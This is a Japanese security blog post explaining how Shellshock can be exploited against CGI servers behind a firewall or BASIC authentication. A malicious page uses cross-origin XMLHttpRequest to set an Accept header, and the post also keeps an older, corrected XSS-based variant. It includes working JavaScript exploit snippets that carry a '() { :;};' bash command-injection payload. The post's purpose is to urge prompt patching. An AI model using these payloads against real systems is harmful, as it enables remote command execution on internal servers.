ファイアウォール内のサーバに対するShellshockを利用した攻撃
条件としては、
- そのサーバにはシェルを経由して外部コマンドを起動するCGI等が動いている(通常のShellshockの攻撃と同条件)
- 攻撃者がそのURLを事前に知っている(あるいは推測可能)
となります。
攻撃者は、ユーザーを罠URLへ誘導し、以下のようなJavaScriptを罠ページ上で動かし、攻撃対象のWebアプリケーションへXHR経由でリクエストを発行します。
var xhr = new XMLHttpRequest(); xhr.open( "GET", "http://192.168.1.1/shellshock-vulnerable.cgi", true ); // ファイアウォール内のURL xhr.onload = function(){}; xhr.setRequestHeader( "Accept", "() { :;}; ping -c 3 my-site.example.jp" ); xhr.send( null );
XHRによるAcceptヘッダの変更では、クロスオリジンのリクエストでもpreflightリクエストが発行されないため、上記JavaScriptによってファイアウォール内のCGIに対して正常にリクエストが発行されます。CGIではAcceptに指定された文字列が環境変数 HTTP_ACCEPT に設定されるため、この文字列がコマンドとして実行されてしまいます。
ここまで、「ファイアウォール内のサーバ」と説明しましたが、ファイアウォール内に限らずBASIC認証で保護されているサーバであっても全く同様に、ログイン済みのユーザーを罠URLへ誘導することで攻撃が可能となります。
該当サーバ上のShellshock攻撃が適用するURLを知られているというだけで攻撃可能になりますので、企業内等のサーバであっても可能な限り速やかにパッチの適用をしましょう。
これより以下は2014-09-27に変更するより前の記述で、不正確な内容です。
会社のブログにも書いてますが、ファイアウォール内に置いてあるサーバで攻撃者が直接アクセスできないからといってbashの更新を怠っていると、条件によっては攻撃が可能となります。
条件としては、
- そのサーバにはシェルを経由して外部コマンドを起動するCGI等が動いている(通常のShellshockの攻撃と同条件)
- そのサーバにはXSSのあるWebアプリケーションが存在している変更:この条件は攻撃者には不要)
- 攻撃者は1.および2.の両方のURLを事前に知っている(あるいは推測可能)
となります。
攻撃者は、ユーザーを罠URLへ誘導し、2.のXSSが存在するページを利用して以下のようなJavaScriptを攻撃対象のWebアプリケーション上で動かします。
var xhr = new XMLHttpRequest(); xhr.open( "GET", "/shellshock-vulnerable.cgi", true ); xhr.onload = function(){}; xhr.setRequestHeader( "X-test", "() { :;}; ping -c 3 my-site.example.jp" ); xhr.send( null );
XMLHttpRequestによってカスタムヘッダを付与することでCGIへは新たな環境変数を容易に与えることができます。また、クロスオリジンでのXMLHttpRequestによるリクエストの発行ではカスタムヘッダがついている場合にはpreflightと呼ばれるリクエストが事前に発行されるために通常はCGIは起動しませんが、XSSによって同一オリジン内でのリクエストとなるためにそういった制約も発生しません。
これにより、対象サイト上ではCGIの動作に伴い環境変数内の文字列がコマンドとして実行されてしまいます。
ここまで、「ファイアウォール内のサーバ」と説明しましたが、ファイアウォール内に限らずBASIC認証で保護されているサーバであっても全く同様に、ログイン済みのユーザーを罠URLへ誘導してXSSを経由することで攻撃が可能となります。
該当サーバ上にXSSがあること・攻撃者がそれらのURLを知っていることという条件は現実的には簡単には存在し得ないかも知れませんが、とはいえ「ファイアウォール内なので大丈夫」という安心もしていられないということになります。企業内等のサーバであっても可能な限り速やかにパッチの適用をしましょう。
(XSSを使わななくても、クロスオリジンで簡単に環境変数を設定できるようなリクエストの投げ方を知ってる人いたら教えてください!)